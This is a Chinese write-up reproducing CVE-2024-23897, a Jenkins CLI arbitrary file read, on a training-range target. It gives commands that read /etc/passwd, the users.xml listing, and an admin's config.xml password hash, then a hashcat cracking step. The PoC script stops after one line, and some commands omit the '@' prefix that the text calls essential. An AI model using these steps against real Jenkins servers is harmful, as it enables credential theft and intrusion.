jetkins任意文件读取
CVE-2024-23897
CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。
目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章
受影响版本:
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2
漏洞复现
借用春秋云境的靶场环境
先访问访问http://靶场IP:ports/jnlpJars/jenkins-cli.jar下载到相关的jar文件,然后直接运行下面的命令
1 | java -jar .\jenkins-cli.jar -s http://8.147.132.32:44175/ -http help 1 "@etc/passwd" |
成功读取出了第一行内容,这个命令缺点在于只能读取文件部分内容
直接读取到flag
一些命令输出较多,看下面这个
1 | java -jar .\jenkins-cli.jar -s http://8.147.132.32:44175/ connect-node "@etc/passwd" |
[Jenkins 安装](https://so.csdn.net/so/search?q=Jenkins 安装&spm=1001.2101.3001.7020)将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户
1 | java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml" |
这里读出来admin
users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608
在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。
所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml
1 | java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml" |
如果顺利就能读到hash值,直接使用kali进行爆破
1 | hashcat -m 3200 info.txt rockyou.txt |
总结
Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。
利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)
poc
1 | import requests |